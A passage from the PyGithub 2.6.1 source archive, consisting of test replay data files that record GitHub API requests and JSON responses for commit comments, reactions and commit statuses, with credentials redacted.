18:29:39Z","pushed_at":"2025-01-07T19:22:27Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16608,"stargazers_count":7126,"watchers_count":7126,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1794,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":364,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1794,"open_issues":364,"watchers":7126,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1794,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/comments/1362000 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 08 Jan 2025 08:56:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"daea7721a603c31ef0ef11bc11d016d77a22872012909086a3cbd0caa3fdfc66"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1736330143'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A322:CE605:32344A:332CA8:677E3DA9')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362000","html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","id":1362000,"node_id":"MDEzOkNvbW1pdENvbW1lbnQxMzYyMDAw","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"position":null,"line":26,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-22T18:49:34Z","updated_at":"2012-05-22T18:49:34Z","author_association":"MEMBER","body":"Comment created by PyGithub\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362000/reactions","total_count":2,"+1":1,"-1":0,"laugh":0,"hooray":1,"confused":0,"heart":0,"rocket":0,"eyes":0}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CommitComment.testCreateReaction.txt0000644000175100001660000000456114756101563025267 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/comments/1362000/reactions {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} {"content": "hooray"} 201 [('content-length', '999'), ('x-runtime-rack', '0.089813'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"b4b4469f500955f78d263f6b89f917b7"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F357:4399:163903:2B03BB:5A31CFCF'), ('date', 'Thu, 14 Dec 2017 01:11:44 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513217425')] {"id":17283092,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-14T01:11:44Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CommitComment.testDelete.txt0000644000175100001660000000064114756101563023574 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/comments/1362000 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4974'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 18:44:06 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CommitComment.testDeleteReaction.txt0000644000175100001660000000256214756101563025265 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/comments/1362000/reactions/85737646 {'Accept': 'application/vnd.github.squirrel-girl-preview', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Mon, 28 Sep 2020 19:55:51 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, repo:status, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.squirrel-girl-preview'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1601324668'), ('X-RateLimit-Used', '41'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', 'C96E:F313:162969A9:1A634C51:5F723FC7')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CommitComment.testEdit.txt0000644000175100001660000000237014756101563023260 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/comments/1362000 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment edited by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '713'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"97ffd9ff8370f4f284873a6397d7cafd"'), ('date', 'Tue, 22 May 2012 18:43:17 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-22T18:43:17Z","position":null,"body":"Comment edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/comments/1362000","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-22T18:40:18Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"id":1362000,"html_url":"https://github.com/PyGithub/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CommitComment.testGetReactions.txt0000644000175100001660000000446414756101563024770 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/comments/1362000/reactions {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '997'), ('x-runtime-rack', '0.065775'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"f9a2d05e3b714991cb3838f1b7cc0c98"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F33A:452C:15A7D0:3673D6:5A31CE56'), ('date', 'Thu, 14 Dec 2017 01:05:27 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513213757')] [{"id":17282897,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-14T01:01:48Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CommitStatus.setUp.txt0000644000175100001660000002244414756101563022460 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '806'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 15:03:24 GMT'), ('connection', 'keep-alive'), ('etag', '"350294b94004d4bb252b6a432baa5744"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 11:33:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","email":"vincent@vincent-jacques.net","disk_usage":14680,"following":28,"location":"Paris, France","hireable":false,"bio":"","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","public_gists":3,"total_private_repos":5,"collaborators":0,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","private_gists":5,"owned_private_repos":5,"public_repos":11,"name":"Vincent Jacques","company":"Criteo","url":"https://api.github.com/users/jacquev6","login":"jacquev6","plan":{"collaborators":1,"name":"micro","private_repos":5,"space":614400},"followers":13,"html_url":"https://github.com/jacquev6","id":327146,"created_at":"2010-07-09T06:10:06Z","blog":"http://vincent-jacques.net"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1239'), ('server', 'nginx/1.0.13'), ('last-modified', 'Sat, 08 Sep 2012 11:05:28 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b5deefd5e5a20ae540958af4330940c3"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 11:33:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"master_branch":"master","forks":16,"open_issues_count":14,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":true,"admin":true},"forks_count":16,"clone_url":"https://github.com/jacquev6/PyGithub.git","created_at":"2012-02-25T12:53:47Z","network_count":16,"has_wiki":false,"watchers":67,"mirror_url":null,"size":268,"fork":false,"open_issues":14,"has_issues":true,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-09-08T11:05:28Z","full_name":"jacquev6/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","private":false,"id":3544490,"language":"Python","watchers_count":67,"homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-09-08T11:05:27Z"} https GET api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '3473'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4968'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 09 May 2012 16:22:33 GMT'), ('connection', 'keep-alive'), ('etag', '"65d19a8fbfb1103ea7421e4c514d75d3"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 11:33:19 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] {"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","stats":{"total":20,"additions":0,"deletions":20},"files":[{"filename":"github/GithubObjects/GitAuthor.py","sha":"ca6a3c616fc1367b6d01d04a7cf6ee27cf216f26","status":"modified","raw_url":"https://github.com/jacquev6/PyGithub/raw/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github/GithubObjects/GitAuthor.py","additions":0,"patch":"@@ -14,22 +14,17 @@ def __init__( self, requester, attributes, lazy ):\n self.__completed = False\n self.__initAttributes()\n self.__useAttributes( attributes )\n- if not lazy:\n- self.__complete()\n \n @property\n def date( self ):\n- self.__completeIfNeeded( self.__date )\n return self.__date\n \n @property\n def email( self ):\n- self.__completeIfNeeded( self.__email )\n return self.__email\n \n @property\n def name( self ):\n- self.__completeIfNeeded( self.__name )\n return self.__name\n \n def __initAttributes( self ):\n@@ -37,21 +32,6 @@ def __initAttributes( self ):\n self.__email = None\n self.__name = None\n \n- def __completeIfNeeded( self, testedAttribute ):\n- if not self.__completed and testedAttribute is None:\n- self.__complete()\n-\n- # @todo Do not generate __complete if type has no url attribute\n- def __complete( self ):\n- status, headers, data = self.__requester.request(\n- \"GET\",\n- self.__url,\n- None,\n- None\n- )\n- self.__useAttributes( data )\n- self.__completed = True\n-\n def __useAttributes( self, attributes ):\n #@todo No need to check if attribute is in attributes when attribute is mandatory\n if \"date\" in attributes and attributes[ \"date\" ] is not None:","blob_url":"https://github.com/jacquev6/PyGithub/blob/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github/GithubObjects/GitAuthor.py","changes":20,"deletions":20}],"author":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"commit":{"message":"Remove completion functions from GitAuthor","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-09T09:22:33-07:00"},"comment_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","tree":{"sha":"4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab"},"committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-09T09:22:33-07:00"}},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","parents":[{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae"}],"committer":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146}} https GET api.github.com None /repos/jacquev6/PyGithub/statuses/1292bf0e22c796e91cc3d6e24b544aece8c21f2a {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"33102158c69b28937a0b6a7031ba9c88"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 11:33:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"description":"Status successfully created by PyGithub","created_at":"2012-09-08T11:30:56Z","target_url":"https://github.com/jacquev6/PyGithub/issues/67","state":"success","context":"build","updated_at":"2012-09-08T11:30:56Z","url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/277040","id":277040,"creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"}},{"description":null,"created_at":"2012-09-08T11:27:12Z","target_url":null,"state":"pending","updated_at":"2012-09-08T11:27:12Z","url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/277031","id":277031,"creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ConditionalRequestUpdate.setUp.txt0000644000175100001660000003451314756101563025003 0ustar00runnerdockerhttps GET api.github.com None /repos/akfish/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '13698'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 22 Aug 2013 02:09:11 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"8600bedcb7fed1d8065e1693e05529ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 22 Aug 2013 02:13:08 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377140429')] {"id":12156762,"name":"PyGithub","full_name":"akfish/PyGithub","owner":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"private":false,"html_url":"https://github.com/akfish/PyGithub","description":"Python library implementing the full Github API v3","fork":true,"url":"https://api.github.com/repos/akfish/PyGithub","forks_url":"https://api.github.com/repos/akfish/PyGithub/forks","keys_url":"https://api.github.com/repos/akfish/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/akfish/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/akfish/PyGithub/teams","hooks_url":"https://api.github.com/repos/akfish/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/akfish/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/akfish/PyGithub/events","assignees_url":"https://api.github.com/repos/akfish/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/akfish/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/akfish/PyGithub/tags","blobs_url":"https://api.github.com/repos/akfish/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/akfish/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/akfish/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/akfish/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/akfish/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/akfish/PyGithub/languages","stargazers_url":"https://api.github.com/repos/akfish/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/akfish/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/akfish/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/akfish/PyGithub/subscription","commits_url":"https://api.github.com/repos/akfish/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/akfish/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/akfish/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/akfish/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/akfish/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/akfish/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/akfish/PyGithub/merges","archive_url":"https://api.github.com/repos/akfish/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/akfish/PyGithub/downloads","issues_url":"https://api.github.com/repos/akfish/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/akfish/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/akfish/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/akfish/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/akfish/PyGithub/labels{/name}","created_at":"2013-08-16T10:56:11Z","updated_at":"2013-08-22T02:09:11Z","pushed_at":"2013-08-22T02:09:09Z","git_url":"git://github.com/akfish/PyGithub.git","ssh_url":"git@github.com:akfish/PyGithub.git","clone_url":"https://github.com/akfish/PyGithub.git","svn_url":"https://github.com/akfish/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":6736,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":70,"parent":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":